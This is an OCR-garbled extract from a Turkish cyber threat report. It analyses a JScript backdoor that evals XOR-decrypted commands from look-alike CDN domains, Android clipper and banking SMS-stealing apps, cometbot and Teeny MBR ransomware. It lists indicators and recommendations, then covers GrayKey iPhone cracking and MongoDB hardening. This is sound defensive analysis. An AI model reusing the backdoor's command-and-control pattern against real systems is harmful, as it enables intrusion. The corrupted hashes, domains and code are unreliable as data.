=] if (ncommand le= "no”) |
=] try {
eval (erypt_controller ("decrypl”™, ncommand));
} eaten () {)
1
var random knock = + (Mach.floor(Mach.random() * o= L

WSeript.Sleep {randem knoclk) !
main{) ;

Sekil 32: Main fonksiyonu
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Sunucudan gelen sifreli komut “crypt_controller” isim-
li fonksiyon ile ¢dziilmektedir. ik parametrenin degeri
“decrypt”, ikinci parametrenin degeri ise ¢dzllecek sif-
reli metin olmaktadir.

9.1.2. Crypt_Controller Fonksiyonu

Sekil 33: Crypt_Controller fonksiyonu

Bu fonksiyonun ilk parametre degeri olan “type’in” de-
gerine gore sifreleme ya da sifre ¢cozme gorevini yap-
tig1 gérulmistir. EGer “type’in” degeri “decrypt” olarak
gelmis ise request parametresinin icerigi [sifreli_metin
+ “9"(“ + sifreleme_anahtari ] formatinda olmaktadir ve
fonksiyonun icinde bu parametreden sifreli metin ile
anahtar cikarilmaktadir.

Eger “type” degeri encrypt ise her zaman 4 basamakili
bir decimal olacak sekilde rasgele bir sifreleme anahtari
Uretilmekte, request parametresindeki metin bu anahtar-
la sifrelenmekte ve yine [sifreli_metin + “)*(“ + sifrele-
me_anahtari] degeri ddnllmektedir.

Sifreleme ve sifre cézme islemleri metin anahtarla basit
XOR operasyonuna sokularak yapiimaktadir.

9.1.3. ID Fonksiyonu

WMI (Windows Management Instrumentation) sorgusu
yaparak zararlinin galistigi makineye ait mac ve dns host
adi bilgilerini elde etmektedir.

Sekil 34: ID fonksiyonu

9.1.4. Get_Path Fonksiyonu

iigili dizilerin elemanlarini kullanarak rasgele path ve file
cifti kombinasyonlarini kullanarak “hxxps://cisco-cdn.
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com/<path>/<file>” seklinde domain adreslerine ait
path bilgilerini Uretmektedir.

Sekil 35: Get_path fonksiyonu

9.1.5. Send_Data Fonksiyonu

Sekil 36: Send_data fonksiyonu

Get_path fonksiyonundan gelen url adresine POST iste-
gi yapilmaktadir.

: https: r/cisco—cdn.comn/images/show_ico?request=page

: https:/“cisco—cdn.com/image get_image?request=page|

Sekil 37: Ornek URLler

POST istegiyle génderilecek datanin icerigi olusturu-
lurken, “group=ico&rt=08&secret=fghedf43dsSFvmO03&-
time=120000" sabit degerleri ve bunlara ek olarak id
fonksiyonundan gelen mac adresi, host adi bilgisi, za-
man damgasi bilgileri kullaniimaktadir. Daha sonra iste-
gin sonuna “action=get_command” eklenmekte ve bu
alanlar crypt_controller fonksiyonuyla sifrelenmekte ve
cikan sonug ‘ijyjciwuhsek=" sabit degerinin sonuna ek-
lenmektedir.

cSFenB3kt ine =1duid-816814-00:-0C-29 :20:-18

REGUEST -

group=licokprt
3D_WIN—7LIHMTOHJT EOfac

Sekil 38: Ornek bir request

Devaminda POST isteginin header bilgileri doldurulmak-
ta ve istek génderilmektedir. istek basaril sekilde yapilip
cevap alindiysa gelen cevap send_data fonksiyonu ta-
rafindan doénulmektedir. Aksi halde “no” degeri dénul-
mektedir.

Sekil 39: Ornek bir send_data giktisi

Crypt_controller  fonksiyonunda bahsedildigi  gibi
XOR anahtari metnin “)*(“ dan sonra gelen kismi, yani
2309’dur.
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Zararl 6rnekleri tarafindan iletisim kurulan komuta kont-
rol sunuculari analizin yapildigi zaman araliginda aktif ol-
madigindan dolayi, uzak sunucudan gelen komut yapisi
incelenememigtir. Uzak sunucudan komut calistirmanin
yani sira “eval” fonksiyonu araciligiyla ikincil zararl pay-
load dosyasinin indirilebilecegi tahmin edilmektedir.

Gerceklestirilen analiz ve incelemelerin ardindan ilgili za-
rarhnin enfekte oldugu sistemde arka kapi olarak kulla-
nildigi tespit edilmistir.

9.2. Tehdit Vektorii Gostergeleri (1oC)

9.2.1. Zararlinin iletisime gectigi domain
adresleri

Domain Adresleri

cisco-cdn.com

logitech-cdn[.Jcom

exchange-cdn[.Jcom

ntservicepack-cdn[.Jcom

facebook77-cdn[.Jcom

realtek-cdn[.Jcom

vmware-cdn[.Jcom

1
2
3
4
5 instagram-cdn[.Jcom
6
7
8
9

pci-cdn[.Jcom

10 tw32-cdn[.Jcom
11 digicert-cdn[.Jcom

Tablo 2: Zararlinin gectigi domain adres 6rnekleri

Google Uygulama Magazasinda sikga gortlen zararli uy-
gulamalara yeni bir tiir daha eklendi. “Clipper” tiriindeki
bu zararl uygulama telefonda yapilan “kopyala” islemiyle
clipboard’a kopyalanan verileri toplamakta ve degistir-
mektedir. Kripto ciizdanlari hedef alan bu uygulama, ala-
ninda ilk olma &zelligini tasiyor. Bu tarz egsiz 6zelliklere
sahip zararll uygulamalara karsi son kullanicilarin dikkatli
olmasi gerekmektedir. Ozellikle Google uygulama maga-
zasina zararl uygulamalarin kolaylikla yiklenebildigi di-
stnitldiginde kaynagdi bilinmeyen uygulamalarin ve sah-
te gelistiricilerin uygulamalarinin indirilmemesi gerekiyor.

@ MetaMask

vy v
com.lemon.metamask

Sekil 40: MetaMask reklam gorseli
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10.1. Teknik inceleme

STM Siber Fizyon Merkezimizdeki analistlerinin ger-
ceklestirdigi analizler sonucunda elde edilen bulgular bu
kisimda aktariimaktadir. AndroidManifest dosyasi Sekil
41’de yer almaktadir. Uygulamanin son kullanicidan dik-
kat ceken bir izin istemedigi gérilmektedir.

Sekil 41: AndroidMAnifest dosyasi

incelenen uygulamanin SHA256 degerinin VirusTotal so-
nuclar asagidaki gibidir.

14 engines detected this file
865079242479082dedBBA0269916d03950d1£1h1 713 2e Bec JemGdeac453 T4ef

APK i comleman metamaskaph

159 M8

r en 2019-02-12 07-57:38 UTC
14 /60

Sekil 42: Zararlinin VirusTotal sonucu

Zararlinin kullandigi Bitcoin ve Ethereum kripto para
clizdan adresleri asagida gériilebilir. ilgili ciizdan adres-
lerini, duruma gére degisken olarak, clipboard igine yaz-
digi gérilmektedir.

Sekil 43: Zararli uygulamanin ctizdan bilgileri

Zararl uygulama kullanici tarafindan kopyalanan verileri
izlemekte ve bir degisiklik durumunda “clipboard-his-
tory.txt” isimli dosyaya yazmaktadir.

Sekil 44: Kullanici bilgilerinin toplanma asamasi

SIBER TEHDIT DURUM RAPORU
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Sekil 45: iletisime gecilen Telegram hesaplari

Toplanan verilerin génderildigi hesap bilgileri Sekil 45’te
yer almaktadir.

10.2. Tehdit Vektori Gostergeleri (Indicator of
Compromises)

10.2.1. Zararhnin iletisime gectigi Telegram
hesaplari

556050782
388008377
332127384

10.2.2. Zararhinin kullandig kripto clizdanlar
17M66AG2uQ5YZLFEMKGpzbzh4F1EsFWKkmA
Oxfbbb2EF692B5101f16d3632f836461904C761965

10.2.3. Tespit edilen zararliya ait hash bilgileri

86507924e47908aded888026991cd03959d1c-
1b171f32c8cc3ceb62c4c45374ef

10.3. Tavsiyeler

ilgili zararl tizerinde yapilan analiz ve incelemeler sonu-
cunda, zararlinin kullanicilarin clipboard bilgilerini calma-
yI hedefleyen zararli Android uygulamalar oldugu tespit
edilmistir. Google Uygulama Magazasi bliinyesinden uy-
gulama indirirken sahte uygulamalara dikkat edilmelidir.
Bu baglamda uygulama yazarinin glvenilir olduguna ve
uygulamanin adinin dogru oldugundan emin olunmali-
drr. ilgili zararlinin iletisime gectigi IP adresleri ve domain
bilgileri anlaminda kurum telefon ve cihazlarinin iletisimi
g6zden gecirilmeli, ilgili IP ve domain adresleri kara lis-
teye alinarak engellenmelidir.

Twitter Gzerinden yapilan cekilis tabanlh kampanyalar
mobil ortamda yayllmaya devam ediyor. Uygulama ma-
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gdazasl da dahil olmak Uzere pek ¢ok mecrada banka-
lan hedef alan g¢ekilis adi altinda kullanicilarin bankaci-
Ik bilgilerini calmaya y6nelik kampanyalar mobil zararli
bankacilik uygulamalar olarak kullanicilari hedef aliyor.
Zararll uygulamalarin ana islevi kullanicilarin bankacilik
bilgilerini elde etmek ve iki faktdrlti dogrulama meka-
nizmalarini atlatmak adina SMS bilgilerini ¢almak olarak
karsimiza ¢ikiyor.

11.1. Teknik inceleme

Zararlinin ve zararlinin indirdigi uygulamanin acilis ekran-
lari asagida gorilebilir.

‘\ Misteri Parolaniz

| Simdi Katil

Sekil 46: Zararl uygulama acilis ekrani

“79866¢174dd807159ea626f530ed610ee9330f8c44af-
f6c29c35febf19ec21f9” 6zet bilgisine sahip uygulama
telefona kuruldugunda gincelleme adi altinda “eba-
335956afad3b50a93effc61cd7467552ff0f7c8ac14032f-
784c5fec3a5720” dzet bilgisine sahip bagka bir uygula-
ma indirmektedir.

Sekil 47: Zararl dosya indirme islemi
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Sekil 48: Zararli dosya indirme islemi

indirilen uygulama cekilis adi altinda oltalama saldirisi
yaparak kullanicilarin bankacilik bilgilerini calmayi hedef-
lemektedir. Toplanan bilgiler uzak firebase sunucusuna
aktariimaktadir.

Sekil 49: Zararli uygulamanin topladigi bilgiler

GSM numarasi da bu asamada alinarak iki faktérlti dog-
rulama igin yollanan SMS mesajlarinin ¢alinmasi amag-
lanmaktadir.
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Sekil 50: iki faktorlli dogrulama bypass islemi icin SMS
bilgilerinin galinmasi

11.2. Tehdit Vektori Gostergeleri (Indicator of
Compromises)

11.2.1. Zararhnin iletisime gectigi domain
bilgileri

Buseferolacak].]tk

demonpanelog].Jfirebaseio[.Jcom

11.2.2. Tespit edilen zararliya ait hash bilgileri

79866¢174dd807159ea626f530ed610ee9330f-
8c44aff6c29c35febf19ec21f9

eba335956afad3b50a93effc61cd7467552ff0f7c8a-
c14032f784c5fec3a5720

11.3. Tavsiyeler

Google Uygulama Magazasi blinyesinden uygulama in-
dirirken sahte uygulamalara dikkat edilmelidir. Bu bag-
lamda uygulama yazarinin givenilir olduguna ve uygu-
lamanin adinin dogru oldugundan emin olunmalidr. ilgili
zararlinin iletisime gectigi IP adresleri ve domain bilgileri
anlaminda kurum telefon ve cihazlarinin iletisimi gézden
gecirilmeli, ilgili IP ve domain adresleri kara listeye alina-
rak engellenmelidir.

Google Uygulama Magazasinda goérilen yaygin zararli-
lardan cometbot, kullanicilarin kisisel bilgilerini calan ve
komuta kontrol sunucusu araciliiyla telefonu bir bota

SIBER TEHDIT DURUM RAPORU
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dénustlren bir uygulamadir. Asagida teknik incelemesini
bulabileceginiz cometbot, giniimizde uygulama maga-
zasinda gorulen bankaclilik ve botnet zararllarinin yaygin
davraniglarini géstermektedir.

12.1. Teknik inceleme

Uygulama yiklendikten sonra acgildiginda asagidaki ek-
ran gelmektedir.

*. | Activate device admi...

Sekil 53: Zararli igerik yliklenmesi

Zararl uygulama agildiktan sonra komuta kontrol sunu-
cusundan igerik yuklemektedir.

Gerekli izinleri aldiktan sonra zararli uygulama telefonun
komuta kontrol sunucusundan aldigi komutlar calistir-
maktadir. Ayrica, sistem uygulamalar gibi bazi uygula-

Cancel Activate malarin varligini sorguladigi da tespit edilmigtir.

Sekil 51: Uygulamanin agilis ekrani

Uygulama acildiginda kullanicidan Device Admin yetkisi
istemektedir. Yetki alabildigi takdirde uygulama telefon
Uzerinde telefonu ayristirabilecegi verileri toplamaktadir.
Ayrica, SMS bilgilerini de sorgulamaktadir.

Sekil 54: Komuta kontrol iletisimi

12.2. Tehdit Vektoriu Gostergeleri (Indicator of
Compromises)

12.2.1. Zararlinin iletisime gectigi domain
adresleri

Sekil 52: Zararlinin telefondan veri toplamasi gembol.]xyz
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12.2.2.Tespit edilen zararhya ait hash bilgileri

€959ab5c8aebb394e2a394639479362a8bb510cc-
03d844c280827245a3¢c16588

12.3. Tavsiyeler

Google Uygulama Magazasi blinyesinden uygulama in-
dirirken sahte uygulamalara dikkat edilmelidir. Bu bag-
lamda uygulama yazarinin givenilir olduguna ve uygu-
lamanin adinin dogru oldugundan emin olunmalidrr. ilgili
zararlinin iletisime gectigi IP adresleri ve domain bilgileri
anlaminda kurum telefon ve cihazlarinin iletisimi gézden
gecirilmeli, ilgili IP ve domain adresleri kara listeye alina-
rak engellenmelidir.

Teeny Ransomware olarak bilinen zararl yazilimin kaynak
kodunda yer alan MBR kodunun hard diskin sifirinci bél-
gesinin (Orijinal MBR) lzerine yazildigi goériimuastir. MBR
(Master Boot Record) bilgisayar acilisinda calisan (isletim
sisteminden 6nce), isletim sisteminin hard disk Uzerinde
nerede bulundugunu bilen ve isletim sistemini calistiran
kiglk kod pargasina verilen isimdir. Petya zararlisina ben-
zer bir sekilde yazilmig ve Turk kullanicilari hedef alan bir
ransomware oldugu belirlenmistir. Klasik bir ransomwa-
re’dan farkli olarak hard disk Uzerinde yer alan dosyalari
sifrelememektedir ancak isletim sisteminin ylklenmesini
engelleyerek kullanicidan bir 6deme talep etmektedir.

Zararh Adi Teeny Ransomware

Kategorisi Ransomware, Cryptovirus

Kisa Aciklama Fidye yazilimi, bilgisayar sisteminizdeki
ana 6nyukleme kaydini (MBR)
sifreledikten sonra kurtarabilmeniz igin

200$ fidye talep etmektedir.

Dagitim Yontemi

Hedef

Spam E-posta, E-posta Eki ile

icerik dilinde Tirkge ifadelerle
karsilasilmistir. Turkiye’nin hedeflendigi
degerlendiriimektedir.

1 Subat 2019

ik Karsilasildig:
Tarih

Tablo 3: Zararl yaziim kimligi

13.1. Teknik inceleme

Bir zip dosyasindan ¢ikan uygulamanin gérinttsi Sekil
55'teki gibidir. Zararli yazihm Microsoft Word isimli uygu-
lamanin ikonunu kullanmaktadir. Uygulama calistirilirken
yOnetici yetkisi istemektedir.

N
N
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Sekil 55: Uygulama gorintlsu

incelenen uygulamalarin SHA256 degerlerinin, inceleme
sirasindaki VirusTotal sonuclari asagida yer almaktadir.

o 13 engines detscted this file [ )
e _

E . e
& a
F r'y

- d 'y
FY 'y
A& F
-9 (-]
L [
- L]
] -]
L] (]
L] -]
L] -]
- -]
L] -]
L] -]
- o
] -]

Sekil 56: Uygulamanin VirusTotal sonuglari

Uygulama statik bir sekilde incelendiginde, uygulamayi
imzalayan sertifikanin dilkece taninan bir holding do-
mainine ait oldugu gibi bir izlenim olusturulmustur. OI-
tama icin kullanilan alan adi holdingadi.com seklinde
sunulurken sdz konusu holdingin orijinal domaini holdin-
gadi.com.tr seklindedir. Benzer bir domain ismi kullani-
larak holdinge yapilan hedefli bir atak olarak degerlendi-
rilmektedir.

Sekil 57: Uygulama imza detaylari
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Zararlinin kaynak kodu incelendiginde hard diskin sifi-
rinci bdlgesine zararli koda yénlendiren MBR kodunun
yazildigi gérulmektedir. Sifirnci bélge normal sartlarda
isletim sistemi adresine ydnlendirme yapar. Zararl ya-
zilm sifirnci bdlge Uzerine yazdidi zararlh MBR koduyla
kendi zararll kod pargacigina yénlendirme yapmaktadir.

=

Sekil 58: Ydnlendirme islemi

MBR enfekte edilmeden 6nceki temiz hali ve enfekte
edilmis hali asagidaki sekillerde gérilmektedir.

Sekil 59: MBR enfekte dncesi (sol) ve sonrasi (sag)

MBR’a yazim iglemi bittikten sonra uygulama bilgisayara
komut satin Gzerinden yeniden baglama talimati génderir.

Bilgisayar yeniden baslatildiginda isletim sistemi bas-
langic noktasi yerine zararlinin hard diske gémdugu kod
parcacigina gider.
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Sekil 60: Yazim iglemi sorasi kod génderimi

Sekil 61: Zararlinin bulasmasi sonrasi kullaniciya aktarilan arayiiz

Klavyeden herhangi bir tusa tiklandiginda 6deme bilgi-
lerinin ve iletisim bilgilerinin yer aldigi ekran gdrtntilen-
mektedir. 200%’lik bir 6demenin yapilmasi durumunda
“decryption key’in génderilecegi belirtiimektedir.

Sekil 62: Odeme bilgilerinin aktanldigi ara yiiz

Kod detaylica incelendigi zaman bir ag trafigi olusmadigi
gorilmustir. Bagka bilgisayarlar Gzerinde de calistirilan
zararll ayni ID’yi vermektedir. istenilen key’in hard dis-
ke gémulen kod pargaciginda olma ihtimali Gzerine hard
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diske gébmudlen zararli kod pargacigi incelenmis, ancak
key kontrolinln yapilmadigi fark edilmistir.

13.2. Tehdit Vektorii Gostergeleri (Indicator
Of Compromises)

13.2.1. Zararlinin erisim saglamaya calistig:
dosyalar

PHYSICALDRIVEO

13.2.2. Tespit edilen zararliya ait hash bilgileri

b017fe5311561078978501e1b5dcfbdc3c4db-
04800c9f905474c659fe0437008

13.2.3. Tespit edilen zararl icindeki domainler

doganholding.com
support@doganholding.com

13.3. Tavsiyeler

Oncelikli olarak gelen e-postalarin nereden geldigine
dikkatli bakilmalidir. Domain adinin orijinal olup olmadi-
g1 kontrol edilmelidir. Bilinmeyen bir domain adresinden
gelen e-postalarda yer alan eklerin kesinlikle agiimamasi
gerekmektedir.

Bu kisimda teknolojik gelismelerin siber glvenlik Uzerin-
deki etkileri atak ve savunma baglaminda incelenmekte ve
kiresel capta dikkat ceken gelismeler analiz edilmektedir.

2 Aralik 2015 tarihinde, ABD’nin California eyaletinde,
San Bernardino bdlgesinde 14 kisinin 6ldugi 22 kisi-
nin de yaralandigi bir “terér saldinisi” yasanir ', isimleri
Syed Rizwan Farook ve Tashfeen Malik olarak aciklanan,
kan koca olan zanllarin kactigi ara¢ saldin olayindan
dort saat sonra polisler tarafindan tespit edilir. Polisler
ve saldirganlar arasinda gerceklesen silahli ¢catismada
zanlilar oldaraltr e,

Saldirganlardan Syed Rizwan Farook’un iPhone 5C
model telefonu ABD Federal Sorusturma Bulrosu (FBI)
tarafindan ele gegirilir. Birgok delil barindirabilecegi di-
stinulerek iPhone 5C model telefonun kilidi FBI glivenlik
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birimleri tarafindan acilmaya calisilir. 9 Subat 2016 ta-
rihinde FBI, kullanilan sifreleme teknolojilerinden dolayi
iPhone’nun kilidini agamadigini duyurur ['¢l. FBI, tele-
fonun parolasini kirmak icin ilk olarak Ulusal Glvenlik
Ajansi'na (NSA) basvurur, buna karsilik NSA sugclular ta-
rafindan daha sik kullanilan modeller Uzerinde bdyle bir
yetkinliklerinin oldugunu ancak iPhone Uzerinde olma-
digini belirtir. Sonucgta iPhone model telefonun glvenli-
ginin asiimasi igin Apple’in yardimina ihtiyag duyulur 7,
iPhone model telefonlarda herhangi bir dosyaya ulas-
mak icin PIN kodu gereklidir. Standart iPhone’lar da PIN
kodunun 10 kez yanlis girilmesi halinde telefon icinde
yer alan bilgiler silinir ve fabrika ayarlarina geri déndlir.
Bu glvenlik dnleminden dolayi, FBI verileri kaybetme-
mek adina teknoloji devi Apple’dan telefona erisebilmek
icin iOS igletim sistemine arka kapi agmalarini ister. Yeni
bir yazilim guincellemesi durumunda telefonlarin PIN ko-
dunun 10 kez yanlis girilmesi halinde verilerin silinmesi
ozelliginin engellenmesi s6z konusu olabilecektir (18 19,
Apple, FBI'In bu talebine “Hayir” yanitini verir. Adalet
Bakanhginin kendisine baski uygulamasina ragmen,
Apple dijital ortamin mahremiyetini savunur ve yapilan
zorlamalara kars! durur 2% 21 Bunun ardindan 28 Mart’ta
Adalet Bakanhgi, FBI'n iPhone’un kilidini agtigini ve
Apple’dan iPhone parolasini kirma istegini geri gektigi-
ni agiklar ?2. Dijital ortamin devleri Facebook, Twitter ve
Google birbirlerine rakip de olsalar Apple’dan destegi-
ni esirgemez ?%. FBI, San Bernardino zanlisinin radikal
islamci drglitlerle baglantili olabilecedi tahminiyle ulusal
guvenlik adina bdéyle bir istekte bulunmus, ancak Apple
da diger kullanicilari distinerek bdyle bir glincellemenin
sonuclarinin herkesi tehlikeye atacagini ve kisisel bilgi
glvenligine zarar verecegini savunmustur 2% 1,

Sorusturma suresi uzarken FBI'In beklenmedik bir se-
kilde davadan c¢ekilmesinin nedeni ise bir iddiaya gore
israilli Cellebrite firmasinin San Bernardino zanlisi Syed
Rizwan Farook’un iPhone’unun Kilidini agmak icin FBI’a
yardim ettigidir 24. Cellebrite cihazlara erigmek igin yik-
sek ihtimalle iOS glvenlik agiklarini kullanmaktadir. Cel-
lebrite sirket ici kilit agma hizmeti sunan bir firmadir. Bu
islem icin de cihaz bagina 5000 dolar gibi bir Ucret talep
etmektedir. ABD hikimetinin mobil cihazlarin kilidini ag-
masi konusunda tercih ettigi sirket olan Cellebrite, mis-
terilerine iOS 11 caligtiran cihazlarin guvenligini asma
yetenegine sahip oldugunu belirtmektedir. Cellebrite
yuksek olasllikla bir veya daha fazla iOS ag¢igini kullana-
rak cihazlara erisim elde etmektedir.

Forbes’e aciklama yapan polis tegkilatinda gérevli bir
adli bilisim uzmani, iPhone 8 model telefonlarin kilidinin
Cellebrite tarafindan acilabildigini, ayni teknigin iPhone
X modeli icin de gecerli oldugunu belirtir. Bunun Uizerine
Apple, kullanicilarina glUvenlikleri icin en son isletim sis-
temini indirmeleri gerektigini duyurur 9.,

2017’nin sonlarina dogru cihazlara erisim saglama ala-
ninda tek olan Cellebrite sirketine rakip bir baska sirketin
ismi giindeme gelir. Daha énce 2016 yilinda Atlanta, Ge-
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orgia da Grayshift adinda 50’den az ¢aligani olan &zel bir
sirket kurulur. Eski bir Apple glvenlik mthendisi ile ABD
istihbaratindan bazi yéneticileri iceren bir ekip GrayKey
adl kutuyu gelistirir. Sadece kolluk kuvvetleri ve teknolo-
ji laboratuvarlarinda kullanilmasina izin verilen GrayKey
kutulan kilitli iPhone’lan kirma konusunda oldukga ba-
sarlidir. GrayKey’in gizli kalmasi disunilmektedir ama
arindn bir gérintust anonim kisiler tarafindan internet
ortamina sizdinimistir. Grayshift sitesi Uyeligi sadece kol-
luk kuvvetleriyle sinirlayan ve Uyelerin kimliklerini kontrol
eden bir portal tarafindan ydnetilmektedir. Bu sebeple
bu web sitesinden de bilgi almak mimkin degildir.

Forbes’a gore, GrayKey’i, Cellebrite’tan ayiran en 6nemli
6zellik kullanimin tamamen firmadan bagimsiz olmasidrr.
Silrecin tamami misteri olan kolluk kuvvetlerine birakilir
ve bu sayede Cellebrite’in sundugu sirket ici modelinden
ayrilmaktadir.

Anonim bir kaynak sayesinde, GrayKey’in neye benzedi-
ginin yani sira nasil ¢alistigi da artik bilinmektedir. Gray-
Key, kolluk kuvvetleri igin iyi bir teknoloji olsa da énemli
riskler sunar 28 1271,

Sekil 63: Grayshift firmasinin GrayKey kutusu °

14.1. GrayKey Nasil Galisir?

GrayKey kutusu, Kilitli iPhone’larin yani sira iPad, iPod
gibi iOS destekli cihazlarla baglanti kurarak Apple Grin-
lerine erisim elde etmektedir. Ayni anda iki iPhone’u ku-
tuya baglamak icin kullanilabilecek iki Lightning kablo-
suna sahip olan cihaz, 4x4x2 in¢ ebatlarindadir. Cihazlar
kutuya takildiktan sonra iki dakikalik bir 6n okuma stire-
ci baslar. Bu slre¢ tamamlandiktan sonra cihaza bagli
iPhone’lann kutuyla baglantilari gecici bir stre kesilir.
Akabinde, parola kirma islemi baslatilir ve bu islem de
tamamlandiktan sonra cihazlarin ekraninda ¢ézulen PIN
degerleri ve bu islem icin gegen sire gosterilir.

Parola kirma isleminde gecen stire parola degerlerinin
uzunluguna gére degiskenlik gdstermektedir. Ornegin;
doért haneli iPhone PIN’lerini ortalama iki ya da U¢ saat
icinde, alti haneli iPhone PIN’lerini ortalama 11 saatte,
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Sekil 64: GrayKey ile parolasi kirlmig bir iPhone P9

alti haneden fazla PIN’leri ise daha uzun slrelerde aca-
bilmektedir 7.

Parola kirma isleminden sonra, cihazin tim dosya siste-
mi GrayKey kutusuna indirilir. Daha sonra GrayKey ku-
tusuna bagl bir bilgisayar sayesinde web tabanli araytz
kullanilarak cihaza ait tim verilere erisim saglanir. Asagi-
daki ekran géruntisinde de gérildugu tzere iOS 11.2.5
surimine kadar sorunsuz bir sekilde calismaktadir.

Name: Frone
Software Version: 11.2.5
Mos: Prone 22AP
| UDD: 32a57 Ochedid1 236180227 3cfaB1 B25icfd
| UnaweCbD:  6879292881651770
Lok status: Before-first-unindk
' Found passcode: 987987

Mures Backun 10TM  eacbad344974982c50351003cBa 1dad 8994 30460404 7 466 16305.2600e5443470 '

Ful Flesystem 3166  weBI4031c51 H02Ic5ZCZALUNG7 07 BACRICH 207 S06e Thriad I AAA0ASIOS4 B0 &

Sekil 65: GrayKey, iPhone iOS 11.2.5 siriimiinde sorunsuz bir
sekilde caligir ¢!

FEATURES

Sekil 66: Grayshift firmasinin erisim elde edebildigi Apple cihaz
modelleri ve iOS versiyonlar 8

Hatta GrayKey kutusunun son slriim bir iPhone X’e ait
yuksek guvenlikli kilidi bile actigina dair iddialar vardir.
GrayKey kutusunun gevrimici ve gevrimdisi olmak Uzere
iki modeli bulunmaktadir. Yaklagik 300 kere kullanilabi-
len gevrimici modelin fiyati 15.000 dolardir. Dogrudan
internete bagl olan bu model igin elde edilen butin ve-
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rayKey Annual License

GRAYSHIFT

wm the date of initial device activation As

vy There are hwo avsilable Boonse modes for

Sekil 67: GrayKey kutusu fiyat listesi 3

riler bilgisayarlar tarafindan erisilebilir olur, ancak bu ve-
riler GrayKey kutusunun kendi hafizasinda saklanir. Bu
durum da cevabi henliz net olmayan “GrayKey kutusu
parolasini kirdigi iPhone’un verilerini glivenli bir sekilde
sakliyor mu” sorusunu gindeme getirir. Fiyati yaklasik
30.000 dolar civarinda olan internete baglanmadan kul-
lanilabilen modelinde ise kullanim hakki sinirsizdir 261128

14.2. Apple’in GrayKey’e Karsi Aldigi Onlem

Apple, iOS’'taki glivenlik dnlemlerini artirarak bu hizmeti
engelleyecegini duyurur. Apple iOS 11 glincellemesiyle
yeni USB kisitlama modu geligtirmistir 2. iOS 11.3’ten
beri testte olan, ancak iOS 12 beta strimuyle varsayilan
olarak etkinlestirilmis bir 6zelliktir. GrayKey gibi araclara
engel olmak icin gelistiriimistir. Kilitli iPhone, iPad, iPod
Touch cihazlarin PIN’leri bir saat boyunca girilmez ise
otomatik olarak Lightning baglantisi esnasinda veri ak-
tarimi kapanmakta ve cihaz sadece sarj edilebilir 6zelli-
giyle kalmaktadir. iOS 12 ile USB kisitlama modu daha
da gelistirilmistir. Ama GrayKey kutusunu dnlemek icin
yeterli degildir, her ne kadar herhangi bir gérintl olmasa
da Grayshift, iOS 12 Beta strimiinde bu dnlemi astigini
iddia etmistir 29,

Bu boélimde NoSQL veritabani olan MongoDB’yi sun-
dugu guvenlik 6zellikleri acgisindan degerlendirecegiz.
Ele alacagimiz bitin konular ticari olmayan MongoDB
versiyonuyla ilgili olacaktir. ilk olarak sistem seviyesin-
de kurulum ve kurulum sonrasi konfiglirasyon sirasinda
glvenlik icin yapilabilecekler, ikinci olarak da backend
icin yazilim gelistirme asamasinda guvenlik i¢in yapilabi-
lecekler degerlendirilecektir.
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15.1. Sistem Seviyesinde Giivenlik

Bu seviyede yapilacaklar hem MongoDB konfigirasyo-
nu hem de isletim sistemi seviyesinde alinacak énlemler
olarak degerlendirilebilir. Varsayllan kurulumla kurulan
bir MongoDB igin herhangi bir glvenlik s6z konusu ol-
mayacaktir. Fakat destekledigi ydntemlerle atak ylizeyini
minimize etmek mimkin olur.

15.1.1. Kimlik Dogrulama Zayifliklari

MongoDB varsayilan kurulumunda kimlik dogrulama aktif
olarak gelmez. Fakat altyapi olarak farkli kimlik dogrulama
yéntemlerini destekler. SCRAM ve x509 sertifika tabanli
iki farkll dogrulama yénteminden birini segebilirsiniz.

Dogrulamayi aktif hale getirebilmek icin servis baslatilir-
ken parametre olarak

--auth

verilebilir ya da mongodb konfigiirasyon dosyasina (/
etc/mongod.conf) eklenebilir.

security:
authorization: enabled

Daha sonra yetkisi tanimli bir kullanicinin bir veri tabani-
na eklenmesi gerekir; bunun igin yapilmasi gereken ya-
pllandirma asagidaki gibidir.

db.createUser(
{
user: “adminUser”,
pwd: “password”,
roles: [ { role: “userAdminAnyDatabase”,
db: “admin” } ]
}
);

15.1.2.Yetkilendirme Zayifliklari

Yukarida tanimlanan kullanici mongodb tzerinde tanimli
super admin kullanicisidir. Fakat uygulamada kullanilan
diger veri tabanlari icin ayr kullanicilar tanimlanip bun-
lara yetki atanmasi gerekir. Erisimlerin yetkilendirmeleri-
nin yapilmasi ve her kullanicinin yapabilecegi islemlerin
belirlenmesi icin bu gereklidir. Asagidaki yapilandirma
okuma ve yazma yetkisine sahip bir kullanici olusturur:

use appDB;

db.createUser(

{
user: “appDBUser”,
pwd: “dbUserPassword”,
roles: [ “readWrite”]
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Burada tanimli kullanilabilecek yetkiler butin veri taban-
lar icin su sekildedir.

readAnyDatabase, readWriteAnyDatabase, userAdmi-
nAnyDatabase, dbAdminAnyDatabase, dbAdmin, use-
rAdmin, dbOwner

Yine admin veri tabani kullanicilari i¢in backup ve resto-
re, belirli bir veri tabani icin tanimlanabilecek yetkiler ise
read ve readWrite yetkileridir.

Ayrica yapilmak istenen yetkisiz erigsimleri belirlemek ve
engellemek icin audit kayitlannin aktiflestiriimesi ve bu-
nun analistler tarafindan merkezi bir kayit takip ortamin-
da toplanip izlenmesi 6nemlidir.

15.1.3.Diiz Metin iletisimi

MongoDB ag seviyesi veri iletisimini varsayilan olarak
acik bir sekilde yapar. Fakat TLS sertifika tabanli (mini-
mum TLS 1.0) veri iletisimini de destekler. Son surim-
le birlikte TLS 1.0 desteginin kapatilmasini da destek-
lemektedir. Mimariye de bagh olarak burada kullanilan
sertifika araya girme ataklarina engel olmasi agisindan
onemlidir. SSL/TLS destegini aktiflestirmek igin konfigii-
rasyon dosyasinda;

net:
ssl:

mode: requireSSL
PEMKeyFile: /etc/ssl/mongodb.pem

eklenmeli ya da servis baglatilirken;
--ssIMode, --ssIPEMKeyFile, ve —ssICAFile

parametreleri kullaniimalidir.

15.1.4. Biitiin Ag Arayiizlerinin Dinlenmesi

MongoDB servisi, baslar baslamaz 27017 portundan
dinlemeye gecer. Bu portun bitin aglardan gelen istek-
leri dinler sekilde degil, mimariye baglh olarak belirli IP’le-
ri ve/ya sadece yerelden gelen istekleri dinlemeye acik
durumda olmasi gerekmektedir. Ayrica varsayilan portun
degistiriimesi de faydali olacaktir.

net:
port: 27017
bindlp: 127.0.0.1, 172.16.0.211

Aksi takdirde 6zellikle PAAS ve IAAS kullaniminin artma-
siyla internete acik bir MongoDB veritabaniniz olacaktir!

MongoDB’ nin sundugu ag kisitlamalarina ek olarak is-
